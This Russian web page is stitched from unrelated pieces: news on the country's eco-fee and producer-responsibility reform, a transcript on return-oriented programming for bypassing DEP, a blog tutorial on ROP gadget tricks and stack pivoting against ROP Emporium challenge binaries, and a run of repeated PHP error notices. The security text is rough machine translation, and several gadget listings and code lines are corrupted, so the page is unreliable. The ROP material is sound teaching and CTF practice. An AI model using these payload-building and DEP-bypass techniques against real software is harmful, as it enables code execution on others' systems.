В Минприроды России ведется работа над редакцией проекта Федерального закона «О внесении изменений в Федеральный закон «Об отходах производства и потребления» и статью 8 Федерального закона «Об основах государственного регулирования торговой деятельности в Российской Федерации». Российский экологический оператор (РЭО) может стать оператором электронной системы расширенной ответственности производителей (РОП) за утилизацию товаров и упаковки и контролировать взимание с компаний экологического сбора.

Оператор системы будет осуществлять сквозной контроль всех платежей экосбора, анализировать отчетность и направлять уведомления в Росприроднадзор в случае каких-либо несоответствий. В системе также будет несколько реестров: производителей товаров, импортеров товаров, самих товаров, упаковки товаров, а также реестр лиц, осуществляющих обращение с отходами. С 2024 законопроектом предполагается установить запрет на реализацию на территории Российской Федерации товаров, сведения о которых не внесены в государственную информационную систему учета отходов от использования товаров.

Предполагается, что новые правила РОП вступят в силу с 2022 года. 20 июля статс-секретарь — заместитель министра промышленности и торговли РФ Виктор Евтухов сообщил, что Минпромторг РФ пока не согласовал новые требования к утилизации товаров, изложенные в законопроектах, обеспечивающих реализацию концепции РОП.

Отдельные товары могут обложить пятикратным экологическим сбором

Конкретная ставка экологического сбора, которую заплатят за выпуск той или иной упаковки в рамках расширенной ответственности производителей и импортеров после ее вступления в силу, может до пяти раз превышать базовую величину. Об этом «РГ» рассказал глава ППК «Российский экологический оператор» (РЭО) Денис Буцаев.

При определении значения повышающего коэффициента для того или иного вида материала, входящего в утилизируемую упаковку, учтут то, насколько его возможно извлечь из общей массы отходов, переработать, использовать в качестве вторичного сырья, а также число циклов возможной переработки, перечислил Буцаев.

В Минприроды отметили, что документ (есть в распоряжении редакции) пока что находится в работе, идет обсуждение с другими ведомствами и говорить о конкретных цифрах еще рано.

«Ставка должна быть тем больше, чем менее экологичными, трудно перерабатываемым является соответствующий товар, упаковка, — уточнили в министерстве. — Уровень ставки экологического сбора должен быть необходимым и достаточным для обеспечения устойчивости процессов обращения с отходами в целях их последующей утилизации».

На сегодня методика расчета повышающего коэффициента предполагает, что, например, для прозрачного и зеленого стекла он будет равен единице, поскольку они идеально поддаются переработке, пояснили в ППК РЭО. Коричневое стекло не так востребовано переработчиками, для него ставка будет выше.

Переработка полистирола требует использования сложной и дорогой системы очистки воздуха из-за выделения в процессе токсичных газов. Это отразиться на коэффициенте экосбора.

Базовую ставка экосбора, которую будут умножать на повышающие коэффициенты, определят как среднюю стоимость утилизации тонны отходов использования товаров. Она в себя расходы на сбор, транспортировку, обработку и утилизацию отходов.

«Главным критерием при создании упаковки должна быть ее экологичность, — заключил Денис Буцаев. — Коэффициенты применяются для стимулирования бизнеса производить более экологичную и перерабатывающую упаковку».

В России образовались «груды мусора», который нельзя переработать

В России образовались «груды мусора», который нельзя переработать, заявила эксперт Наталья Беляева. Поэтому теперь производителей будут стимулировать за счет новой методики расчёта экосбора.

Минприроды России совместно с ППК «Российский экологический оператор» (РЭО) разработали новую методику расчёта экосбора в рамках расширенной ответственности производителей (РОП), которую уже поддержали эксперты. Об этом сообщает телеканал «360».

Согласно задумке, ставка экосбора будет ниже, если упаковка товара окажется более экологичной. Сам механизм платежей будет перезапущен в январе 2022 года.

Акцент будет сделан на повышающих коэффициентах. Речь идёт об уровне извлекаемости и перерабатываемости продукции, потребности во вторичном сырье, количестве циклов переработки компонентов упаковки.

Как добавила эксперт Наталья Беляева, производители в России годами повышали продажи продукции за счёт создания привлекательной для потребителей упаковки. В результате в стране образовались тонны мусора, большая часть которого не может быть переработана.

Первоначальная концепция РОП имела недостатки, поэтому теперь акцент сделан на финансовых стимулах.  Беляева утверждает, что методика не спровоцирует значительное подорожание товаров.

«Только через финансово неудобные условия, создаваемые в отношении дешёвых и бесполезных с точки зрения утилизации материалов, смогут изменить выбор производств в пользу недешёвых, но необременительных по затратам на утилизацию и РОП материалов», — пояснила эксперт.

Как напоминает РИА ФАН, в начале сентября министр природных ресурсов и экологии России Александр Козлов предложил включить в обязательную школьную программу урок экологии. Согласно предварительным данным, инициативу планируется включить в нацпроект «Экология».

«Будем разговаривать с Министерством просвещения, как встроить предмет о том, как нужно бережно относиться к природе», — указал министр.

Нашли ошибку в тексте?
Выделите ее и нажмите CTRL + ENTER

Объяснение эксплойта возвратно-ориентированного программирования (ROP)

Итак, на этой неделе мы будем говорить о ROP. Опять же, если вы какое-то время работали в сфере безопасности, вы, вероятно, слышали этот термин, но вы можете быть немного смущены тем, что на самом деле представляет собой ROP. Итак, сегодня мы собираемся осветить на очень высоком уровне, что такое ROP и почему это важно.

Таким образом, ROP расшифровывается как Return Oriented Programming, и это концепция, которая изначально была частью эксплуатации Linux в методе, известном как возврат к libc.По сути, речь идет об использовании кода, который уже существует в программе, которую вы используете, для выполнения за вас определенных ключевых функций. Сейчас мы используем ROP в основном в качестве обхода DEP или предотвращения выполнения данных, о чем мы говорили в одном из предыдущих видеороликов по снижению рисков. Что мы делаем, так это используем ориентированное на возврат программирование для вызова функций Windows API, чтобы пометить стек как исполняемый. Итак, мы обсуждали ранее, как DEP предотвращает выполнение в стеке, не позволяя рассматривать неисполняемую память как инструкции. Итак, вы используете гаджеты ROP, чтобы вызвать одну из пары различных функций Windows, обычно что-то вроде виртуальной защиты, и сказать ему, чтобы он пометил стек как имеющий разрешение на выполнение. Таким образом, DEP больше не мешает вам, и вы можете выполнить здесь свой шелл-код.

Итак, по сути, как это начинает работать, так это то, что у вас есть код оболочки, как обычно. Но где бы вы ни оказались, где вы заменили либо указатель возврата сохранения, либо запись SEH, что бы вы ни использовали для управления выполнением, вы перейдете к гаджету ROP.Теперь в разделе перезаписи структурированного обработчика исключений мы кратко поговорили об этой инструкции pop pop ret, которая на самом деле представляет собой набор из трех инструкций, который на самом деле является гаджетом ROP. Это серия инструкций, которые завершаются инструкцией ret или return. И то, что всегда делает инструкция возврата, — это возврат к следующему, он возвращается к тому указателю, который указан следующим в спецификации.

Итак, что мы обычно делаем, так это то, что наш первый указатель будет указывать на какой-то гаджет ROP, который будет регулировать кадр стека, на который указывает регистр ESP, вам не нужно слишком беспокоиться об этих особенностях.Но в основном он собирается переместиться туда, где мы пишем материал в стеке, вниз, давая нам немного места для работы. Затем у нас будет возврат, и поэтому, когда мы вернемся, после этого первого указателя у нас должен быть другой указатель на другой гаджет ROP, который что-то будет делать.

Теперь не беспокойтесь о конкретном наборе инструкций. Это не настоящая ROP-цепочка, но, по сути, поток такой же. У вас будет набор инструкций, которые всегда будут заканчиваться возвратом к другому указателю, который будет указывать на другой гаджет ROP.И то, что вы пытаетесь сделать, на самом деле находится здесь, вы помещаете все аргументы, а затем указатель на функции Windows, которые вам нужно вызвать в стеке, таким образом, чтобы после того, как вы закончили свою цепочку ROP , этот последний возврат фактически вернется к указателю функции для функции Windows, которую вы хотите вызвать, заставив его отправить все те аргументы, которые вы настроили в стеке, в VirtualProtect или VirtualAlloc или в ряд других методов, которые просто говорят ему: «Эй , эта часть стека находится наверху, где находилась остальная часть нашего кода оболочки, мне нужно, чтобы вы сейчас отметили весь этот исполняемый файл. «И поэтому, когда это происходит внезапно, этот шелл-код, запуск которого DEP мог бы предотвратить, теперь может работать так, как будто это снова начало 90-х, по сути, просто делая DEP не проблемой.

Раньше это была одна из действительно сложных и сложных частей разработки эксплойтов. К счастью, есть много инструментов, как внутри Metasploit, так и инструмент для отладчика иммунитета под названием mona.py, который поможет вам автоматически создавать эти ROP-цепочки. И поэтому сейчас это намного более низкий барьер для входа для написания сложных эксплойтов, чем раньше.

Таким образом, ROP в основном полностью аннулирует DEP в сценариях, в которых вы можете успешно построить эти цепочки ROP. Все еще сложнее написать эксплойт, когда вам нужно использовать ROP, но это все еще вполне возможно благодаря ROP. И это все, что у нас есть на сегодня. Заходите к нам на следующей неделе, и тогда увидимся!

Основные приемы и приемы ROP


Уведомление : Неопределенный индекс: HTTP_USER_AGENT в / var / www / wp-content / plugins / urvanov-syntax-highlighter / util / class-urvanov-syntax-highlighter-util. php в строке 763

Уведомление : неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php on строка 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в / var / www / wp-content / plugins / urvanov-syntax-highlighter / util / class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util. php on line 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в / var / www / wp-content / plugins / urvanov-syntax-highlighter / util / class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php on line 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в / var / www / wp-content / plugins / urvanov-syntax-highlighter / util / class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util. php в строке 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php on line 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в / var / www / wp-content / plugins / urvanov-syntax-highlighter / util / class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php on line 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в / var / www / wp-content / plugins / urvanov-syntax-highlighter / util / class-urvanov-syntax-highlighter-util. php в строке 763

Уведомление : неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php on line 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в / var / www / wp-content / plugins / urvanov-syntax-highlighter / util / class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util.php в строке 763

Уведомление : Неопределенный индекс: HTTP_USER_AGENT в /var/www/wp-content/plugins/urvanov-syntax-highlighter/util/class-urvanov-syntax-highlighter-util. php on line 763


Введение

Во время оценки мы время от времени сталкиваемся с пользовательскими двоичными файлами.Поскольку большинство современных двоичных файлов включают средства защиты, такие как неисполняемый стек (NX), и работают в системах, использующих рандомизацию разметки адресного пространства (ASLR), знание современных методов разработки эксплойтов, которые могут обойти средства защиты, полезно при оценке безопасности этих двоичных файлов. В последнее время я пытался улучшить свои навыки возвратно-ориентированного программирования (ROP). В то время как такие инструменты, как Ropper и ROPgadget, могут автоматически создавать цепочки ROP, двоичные файлы с ограниченными гаджетами часто могут их сбивать с толку.Поэтому неплохо не полагаться слишком сильно на автоматизированные компоненты этих инструментов и иметь возможность писать цепочки ROP вручную.

Хотя некоторые методы ROP, такие как атаки ret2libc, довольно просты, многие цепочки ROP требуют творческого использования ограниченного набора гаджетов. Чтобы максимально использовать эти гаджеты, необходимо знать некоторые удивительные и не всегда интуитивно понятные приемы (по крайней мере, они не были мне понятны, когда я их изучал).

В этой записи блога я расскажу о некоторых типах устройств ROP, которые считаются идеальными и с которыми легко работать; Затем я подробно расскажу о нескольких основных приемах, которые могут пригодиться, когда эти идеальные гаджеты вам недоступны, но вам нужно добиться аналогичного эффекта.Я также расскажу о паре других гаджетов, которые могут помочь сформировать полезные примитивы эксплойтов или помочь вам в сложных сценариях.

Инструменты

В этом сообщении в блоге я буду использовать следующие инструменты:

Radare2: Существует множество инструментов, способных находить гаджеты ROP, но в конечном итоге я остановился на использовании radare2, фреймворка обратного проектирования, для большинства моих потребностей в поиске гаджетов. Если вы предпочитаете использовать другой инструмент, другие дадут вам практически такие же результаты; просто имейте в виду, что ваш результат может немного отличаться от моего. Некоторые инструменты, возможно, потребуется настроить для более глубокого поиска в двоичном файле, чтобы найти определенные гаджеты.

GDB-GEF: Это плагин для GDB, который делает отладку и разработку эксплойтов более плавной и приятной работой. GEF предлагает визуализацию стека и кучи, указание того, какие инструкции вы выполняете в данный момент, а какие готовятся к работе, краткий обзор регистров и содержащихся в них значений, генерацию циклических шаблонов и многое другое.В этом посте мы в основном будем использовать GEF для отображения состояния регистров / памяти и для пошагового перехода через гаджеты, поэтому, если вы предпочитаете использовать другой плагин GDB (PEDA и pwndbg — популярные варианты ) или просто использовать ванильный GDB, не стесняйтесь.

Окружающая среда

Целевыми двоичными файлами, рассматриваемыми в этом посте, будут двоичные файлы ELF x86-64, запущенные в среде Linux. Есть некоторые различия между написанием цепочек ROP для 64-битных и 32-битных двоичных файлов, и я обнаружил, что ресурсы для 64-битных ROP немного более ограничены. Обратите внимание, что синтаксис сборки, используемый в этом посте, является синтаксисом Intel.

Сами двоичные файлы были получены в результате отличной серии испытаний ROP, организованных в ROP Emporium. Хотя этот пост не будет содержать каких-либо полных решений для конкретных задач, если вы предпочитаете попробовать решать задачи полностью вслепую, вы можете сначала попробовать их, прежде чем читать остальную часть этого поста.

64-битные особенности

Если вы знакомы с методами ROP или общей разработкой эксплойтов на 32-битных системах, вас могут смутить некоторые особенности 64-битных соглашений о вызовах и регистров.Основные различия, о которых вам следует знать, приведены ниже.

Передача параметров функциям: В x86 (32-разрядной версии) параметры передаются функциям в стеке. x86-64 (64-разрядная версия), напротив, передает параметры функциям через регистры (большую часть времени; функции, которые принимают более шести параметров или принимают параметры особенно большого размера, будут использовать стек, но это редко. Подробнее об этом можно прочитать здесь). Первые четыре регистра, используемые для передачи параметров: rdi , rsi , rdx , и rcx в указанном порядке.Следовательно, при разработке цепочки ROP вам нужно будет найти гаджеты, которые позволят вам контролировать столько регистров, сколько вам нужно для вызова желаемой функции.

Дополнительные регистры общего назначения: x86-64 представил несколько новых регистров, которые используются для различных целей. Если вам нужен обзор регистров x86-64, вы можете взглянуть на эту статью. Новые регистры общего назначения имеют имена от r8 до r15. Если у вас нет прямого контроля над одним из перечисленных выше регистров, который вы хотите использовать для передачи параметра функции, вы можете использовать регистр общего назначения в качестве посредника и использовать гаджет для передачи значения. из общего реестра в «первичный» регистр.

Идеальные гаджеты и использование r2 для поиска гаджетов

Один из самых простых и полезных типов гаджетов — это

.

гаджет. Давайте посмотрим на пример такого рода гаджетов, и пока мы им займемся, давайте научимся использовать radare2 для поиска гаджетов. (Некоторые дополнительные команды и функции можно увидеть в этом руководстве.)

Для начала двоичный файл можно открыть в r2, введя следующую команду:

Вы должны увидеть подсказку, похожую на снимок экрана ниже.

Для поиска гаджетов начните команду с:

В той же строке введите гаджет, который хотите найти. Например, предположим, вы хотите вызвать определенную функцию, которая принимает один параметр. Для успешного вызова этой функции вам понадобится регистр rdi для хранения параметра, который вы хотите передать этой функции (если вы не уверены, почему это так, ознакомьтесь с разделом «Особенности 64-битной версии»). раздел ранее в этом посте). Самый простой способ поместить значение в регистр — использовать popinstruction, давайте попробуем найти это:

Итак, мы видим, что у r2 появилось пять гаджетов! Самый простой в использовании — последний гаджет:

.

0x00401b23 5f pop rdi 0x00401b24 c3 ret

0x00401b23 5f pop rdi

0x00401b24 c3 ret

Если вы хотите отобразить инструкции в гаджете в одной строке, вы можете выполнить ту же команду, что и выше, но изменить / Rto / Rl.Это отформатирует вышеуказанный гаджет следующим образом:

0x00401b23: pop rdi; ret;

0x00401b23: pop rdi; ret;

Однострочное форматирование удобно для того, чтобы сразу увидеть каждый шаг гаджета, но формат, который помещает одну инструкцию в каждую строку, ценен, потому что вам не нужно запускать гаджет с самого начала. Например, если бы мы хотели использовать только ret компонента гаджета выше, мы могли бы просто использовать адрес 0x00401b24 в нашей цепочке ROP.Если весь гаджет отображается в одной строке, вы не увидите адреса каждой отдельной инструкции.

Итак, теперь, когда у нас есть гаджет, как он работает? Команда pop поместит следующее значение в стек в регистр, на который указывает ссылка, которым в данном случае является rdi. Итак, если бы мы хотели поместить строку «что угодно» в rdi, чтобы она передавалась в качестве параметра функции, код Python для настройки нашей цепочки ROP выглядел бы примерно так:

полезная нагрузка = pop_rdi # pop rdi; ret; полезная нагрузка + = «что угодно» полезная нагрузка + = function_to_call

полезная нагрузка = pop_rdi # pop rdi; ret;

полезная нагрузка + = «что угодно»

полезная нагрузка + = function_to_call

Что, если нам нужно несколько параметров? Многие функции принимают более одного параметра.Если вы помните из раздела «Особенности 64-битных систем» выше, порядок, в котором регистры используются для параметров, начинается с rdi, rsi, rdx, rcx. Один подход — надеяться, что есть три разных pop ; retgadgets и используйте их все. Другой — использовать более сложный гаджет. Рассмотрим один из других r2, найденных выше:

0x00401aab 0f1f440000 nop dword [rax + rax] 0x00401ab0 5f pop rdi 0x00401ab1 5e pop rsi 0x00401ab2 5a pop rdx 0x00401ab3 c3 ret

0x00401aab 0f1f440000 nop dword [rax + rax]

0x00401ab0 5f pop rdi

0x00401ab1 5e pop rsi

0x00401ab2 5a pop rdx

40

Это именно то, что мы хотим! Мы будем контролировать первые три регистра, используемые для передачи параметров.Мы даже можем начать нашу цепочку с 0x00401ab0 вместо самого начала, чтобы избежать использования начальной инструкции. Если бы мы хотели использовать этот гаджет, код Python мог бы выглядеть следующим образом:

payload = pop_rdi_rsi_rdx # pop rdi; pop rsi; pop rdx; ret; полезная нагрузка + = «строка01» полезная нагрузка + = «строка02» полезная нагрузка + = «строка03» полезная нагрузка + = function_to_call

payload = pop_rdi_rsi_rdx # pop rdi; pop rsi; pop rdx; ret;

полезная нагрузка + = «строка01»

полезная нагрузка + = «строка02»

полезная нагрузка + = «строка03»

полезная нагрузка + = function_to_call

До сих пор гаджеты, которые мы рассматривали, были идеальными. Когда такие гаджеты недоступны, но мы все же хотим получить эффект pop ; ретинструкция, нам нужно проявить больше творчества.

Когда нет поп: xor и xchg Уловки

Предположим, мы хотим контролировать содержимое универсального регистра r11, потому что мы планируем использовать его позже в нашей цепочке. Это должно быть достаточно просто, правда? Давай просто найдем pop r11gadget:

Хм… r2 не нашла ни одной инструкции, которая вставляет значение в r11.Значит ли это, что этот регистр невозможно контролировать? Не обязательно.

Когда у вас нет popinstruction, есть и другие инструкции, которые могут помочь вам записать значение в конкретный регистр. Мы рассмотрим два: xorand xchg.

Чтобы очистить значение, хранящееся в регистре (что может быть полезно, если вам нужно, чтобы регистр был пустым для какой-либо операции позже), попробуйте найти гаджет, который будет выполнять XOR, который регистрируется против самого себя (поскольку если вы XOR что-нибудь против сам вы получите 0). Например, давайте попробуем поискать полезный xorgadget:

На этот раз мы нашли несколько гаджетов. Похоже, это хороший выбор для очистки r11:

0x00400820 415f pop r15 0x00400822 4d31db xor r11, r11 0x00400825 415e pop r14 0x00400827 bf50106000 mov edi, 0x601050 0x0040082c c3 ret

0x00400820 415f pop r15

0x00400822 4d31db xor r11, r11

0x00400825 415e pop r14

0x00400827 bf50106000 mov edi, 0x601050

982000 c27 0x00

В конечном итоге мы случайно контролируем некоторые другие регистры в процессе, о чем нам стоит подумать при построении полной цепочки.Тем не менее, гаджет содержит xor r11, r11instruction, а это все, что нам действительно нужно.

Но как это помогает нам размещать нужный контент в r11? Для этого мы можем использовать другое свойство операции XOR, а именно: если выполнить XOR для значения с 0, вы просто снова получите исходное значение без изменений. Если мы сможем найти гаджет, который выполняет XOR для другого регистра или местоположения под нашим контролем с помощью r11, мы можем установить для r11 то же значение, что и любой ключ, который мы используем для XOR.

Так уж получилось, что в ходе предыдущего поиска мы обнаружили гаджет, который может это сделать:

0x0040082d 415e pop r14 0x0040082f 4d31e3 xor r11, r12 0x00400832 415c pop r12 0x00400834 41bd60406000 mov r13d, 0x604060 0x0040083a c3 ret

0x0040082d 415e pop r14

0x0040082f 4d31e3 xor r11, r12

0x00400832 415c pop r12

0x00400834 41bd60406000 mov r13d, 0x604060

00

000 cs

Обратите внимание, что этот гаджет включает инструкцию xor r11, r12.Если мы сможем поместить наш контент в r12, тогда мы сможем использовать этот гаджет для дублирования этого контента в r11. Давайте поищем несколько всплывающих инструкций по r12.

Немного прочесывая вывод, можно обнаружить полезный гаджет:

0x00400832 415c pop r12 0x00400834 41bd60406000 mov r13d, 0x604060 0x0040083a c3 ret

0x00400832 415c pop r12

0x00400834 41bd60406000 mov r13d, 0x604060

0x0040083a c3 ret

Это позволяет нам управлять r12 напрямую с помощью команды pop. На самом деле это лишь вторая часть xor r11, r12gadget выше; у нас нет действительно чистого

гаджет, но в данном случае это не имеет значения. Изменение значения r13d, вероятно, не повлияет на нашу цепочку, если мы не планируем использовать этот регистр позже. Напомним, вот наш общий план цепочки ROP:

  • XOR r11 против самого себя для обнуления регистра
  • В какой-то момент вставьте контент, который мы в конечном итоге хотим поместить в r11, в r12 (технически это не обязательно должно происходить дальше; это можно сделать до первого шага)
  • XOR r11 против r12, в результате чего содержимое r12 дублируется в r11

Поскольку эти шаги становятся более понятными, когда вы видите их на практике, давайте выделим GDB и пройдемся по этим гаджетам по мере их выполнения.

На приведенном выше снимке экрана я установил точку останова в начале нашего xor r11, r11instruction (я намеренно не показываю всю цепочку, которую использую, чтобы не рассказывать слишком много о задаче). В настоящее время это состояние регистра r11:

$ r11: 0x00007fffffffe1c9? 0xe000000000006010

$ r11: 0x00007fffffffe1c9? 0xe000000000006010

Давайте сделаем один шаг (продвинемся на одну инструкцию вперед), набрав «s» и нажав Enter.

В верхней части этого снимка экрана вы можете видеть, что после xor r11, инструкция r11 была выполнена, значение r11 стало 0x0. Большой! Мы это очистили. Теперь я сделаю несколько шагов, чтобы перейти к следующей интересной инструкции. xor r11, r12 инструкция.

Обратите внимание, что r11 все еще обнулен, а r12 в настоящее время содержит значение 0x0000000000601050. Давайте сделаем шаг вперед и выполним это xor r11, r12 инструкция.

Обратите внимание, что теперь r11 содержит то же значение, что и r12, что означает, что мы успешно контролировали значение r11, как и в случае с инструкцией pop.

Что делать, если у нас нет полезного xorgadgets тоже? В этом случае мы можем использовать xchginstruction. xchg меняет местами содержимое двух регистров. Если мы снова рассмотрим наш исходный сценарий, в котором нам нужно управлять реестром, но у нас нет pop гаджеты, затем гаджет, который выполняет xchgoperation в регистре, который мы хотим контролировать, и другой регистр под нашим контролем также будут работать. Он не сильно отличается от нашего метода, описанного выше, с использованием XOR, только нам не нужно сначала обнулять регистр, которым мы хотим управлять.

Например, давайте проведем поиск по запросу xchggadgets.

В этом сценарии предположим, что мы хотим управлять регистром rsp (который является указателем стека; обычно это не то значение, которое вы хотите изменить, но бывают случаи, когда вы хотите это сделать — подробнее об этом см. раздел поворота стека ниже).

Если у нас нет pop rspinstructions, мы по-прежнему можем управлять rsp косвенно, управляя регистром rax, а затем используя xchg rax, rspinstruction для перемещения содержимого с rax на rsp. Имейте в виду, что xchg, в отличие от xor меняет местами содержимое регистров, что означает, что rax получит все, что раньше было в rsp. Если вы полагались на то, что содержание rax было чем-то конкретным, вам пришлось бы снова изменить его значение после использования вашего xchggadget, чтобы предотвратить использование значения, замененного на него из rsp.

Чтобы быстро взглянуть на это в действии, давайте запустим GDB и рассмотрим простую цепочку ROP, в которой используется этот метод.

Из текущих и будущих инструкций видно, что мы будем запускать поп-ракс; ret; xchg rsp, rax; рет.Давайте пройдемся через это.

На первом этапе значение 0xdeadbeef вставляется в rax. Следующий шаг — это ретинструкция; проходя мимо, мы переходим ко второму устройству. Обратите внимание на текущее состояние регистров rax и rsp на скриншоте ниже.

После следующего шага и срабатывания xchg rsp, raxinstruction, обратите внимание, что rax и rsp поменяли местами содержимое.

В этом случае это приведет к сбою программы, потому что мы только что изменили указатель стека, чтобы он указывал на адрес 0xdeadbeef, что недопустимо.Однако мы видим, что мы добились контроля над rsp косвенно через xchginstruction, без необходимости напрямую вставлять что-либо в rsp.

Гаджеты Write-What-Where

Часто бывает необходимо использовать цепочку ROP для записи чего-либо в память. Вы можете поместить строку «/ bin / sh» в память, чтобы использовать ее в качестве параметра для system (), или, возможно, перезаписать запись в глобальной таблице смещения (GOT), чтобы перенаправить выполнение. Есть несколько способов сделать это, в том числе использовать ROP-цепочку для вызова такой функции, как fgets (), с управляемым указателем на память, в которую вы хотите писать; однако это может быть сложно, если вы не контролируете rdi, rsi и rdx, поскольку fgets () принимает три параметра.

К счастью, также можно использовать другие гаджеты для произвольной записи, с помощью которой вы можете записать любое значение, которое вам нравится, в любой адрес, который вам нравится (конечно, при условии, что эта область памяти помечена как доступная для записи). Это также известно как «написать что-где-где» и представляет собой мощный примитив для эксплойтов.

Обычный гаджет типа «напиши где-где» mov <[регистр]>, <регистр>. В синтаксисе Intel это означает, что содержимое второго регистра будет помещено в разыменованный указатель, хранящийся в первом регистре.Обратите внимание на квадратные скобки вокруг имени регистра, поскольку квадратные скобки указывают на разыменование. Вот пример гаджета:

0x00400820 4d893e mov qword [r14], r15 0x00400823 c3 ret

0x00400820 4d893e mov qword [r14], r15

0x00400823 c3 ret

В приведенном выше гаджете содержимое r15 будет перемещено в разыменованное содержимое r14.Следовательно, учитывая управление обоими регистрами, здесь есть путь к произвольной записи:

  • Поместите указатель на доступную для записи область памяти в r14
  • Поместите содержимое, которое вы хотите записать в память, в r15
  • Вызвать гаджет write-what-where для записи содержимого r15 в память, на которую указывает указатель в r14
  • Если содержимое r14 используется в качестве параметра для функции, которая ожидает указатель, функция разыменует указатель и получит доступ к содержимому, которое теперь было записано в память

Полное изучение эксплойта, использующего эту технику, выходит за рамки этого сообщения в блоге, но важным выводом является тщательное изучение любого mov <[register]>, внимательно инструкции. Если вы знаете, что в какой-то момент вам захочется что-то записать в память, вы можете начать с поиска этих гаджетов «что-куда», а затем определить, можете ли вы управлять этими регистрами с помощью других гаджетов.

Вращение стека

Наконец, давайте кратко обсудим теорию, лежащую в основе распространенной техники, называемой поворотом стека на . В простом сценарии эксплуатации, таком как переполнение буфера на основе стека, часто бывает достаточно места в стеке для хранения полезной нагрузки.Что делать, если вы столкнетесь с ситуацией, когда после перезаписи указателя инструкции у вас почти не останется места для хранения вашей ROP-цепочки? Введите поворот стека.

Поворот стека включает в себя изменение значения регистра rsp, чтобы он указывал на другое место в памяти, находящееся под вашим контролем. Изменение указателя стека заставит программу поверить, что то, на что указывает rsp, теперь является новым стеком, и она продолжит выполнять все, что будет дальше в памяти в этом новом месте. Это означает, что если в памяти есть место, которое предлагает много места для цепочки ROP, вы можете использовать свое ограниченное пространство для использования гаджетов, которые изменят регистр rsp и заставят его указывать на остальную часть вашей цепочки ROP, которая затем будет быть казненным.

Самый очевидный метод достижения поворота стека — использовать ограниченное пространство для такого гаджета, как pop rsp; ret, который позволяет легко управлять указателем стека. Давайте быстро рассмотрим эту технику. Сначала мы можем найти pop rspinstruction.

Единственный обнаруженный нами гаджет сначала появляется rsp, затем также выскакивает r13, r14 и r15 перед звонком рет. Стоит отметить, что все инструкции после pop rsp будет использовать новое расположение стека.Следовательно, содержание должно быть вставленные в r13, r14 и r15 должны быть помещены в новое место стека.

Чтобы прояснить это, давайте посмотрим, как это работает, с помощью GDB. Предположим, что этот двоичный файл дает возможность размещать ввод там, где достаточно места; именно здесь мы хотим хранить нашу основную цепочку ROP. Также предположим, что позже двоичный файл предложит возможность управлять выполнением, но с очень небольшим пространством, что потребует от нас разворота стека.

Вот код, который я буду использовать для запуска поворота стека (обратите внимание, что это не полный эксплойт; его достаточно, чтобы проиллюстрировать эту технику):

#! / usr / bin / python структура импорта first_chain = «something» * 3 # это будет помещено в r13, r14 и r15 first_chain + = структура.pack («Q», 0x400850) # другая функция print first_chain # этот ввод сохраняется где-нибудь с большим количеством места payload = «A» * 40 payload + = struct.pack («Q», 0x00400b6d) # pop rsp; pop r13; pop r14; pop r15; Ret payload + = struct.pack («Q», 0x7ffff7836f10) # мы перевернем стек по этому адресу печать полезной нагрузки

#! / Usr / bin / python

import struct

first_chain = «something» * 3 # это будет помещено в r13, r14 и r15

first_chain + = struct. pack («Q», 0x400850) # другая функция

print first_chain # этот ввод сохраняется где-то с большим количеством места

payload = «A» * 40

payload + = struct.pack («Q», 0x00400b6d) # pop rsp; pop r13; pop r14; pop r15; ret

payload + = struct.pack («Q», 0x7ffff7836f10) # мы переместим стек на этот адрес

print payload

Как вы можете видеть в приведенном выше коде, мы повернем стек до 0x7ffff7836f10 и продолжим выполнение там, что будет включать в себя размещение строки «что угодно» в r13, r14 и r15, а затем продолжим вызовом другой функции.Давайте попробуем использовать точку останова, чтобы увидеть поворот стека.

Как только эта инструкция будет выполнена, стек должен повернуться, и мы сможем наблюдать, как r13, r14 и r15 заполняются строками, которые мы установили в нашей первичной цепочке ROP. Если мы сделаем шаг вперед, то увидим, что стек успешно поворачивается и указывает на контент, который мы туда поместили.

Для большей точности давайте сделаем еще три простых шага и убедимся, что мы действительно контролируем эти универсальные регистры.

Отлично! Мы видим, что мы успешно развернули стек и смогли корректно обработать остальную часть гаджета.

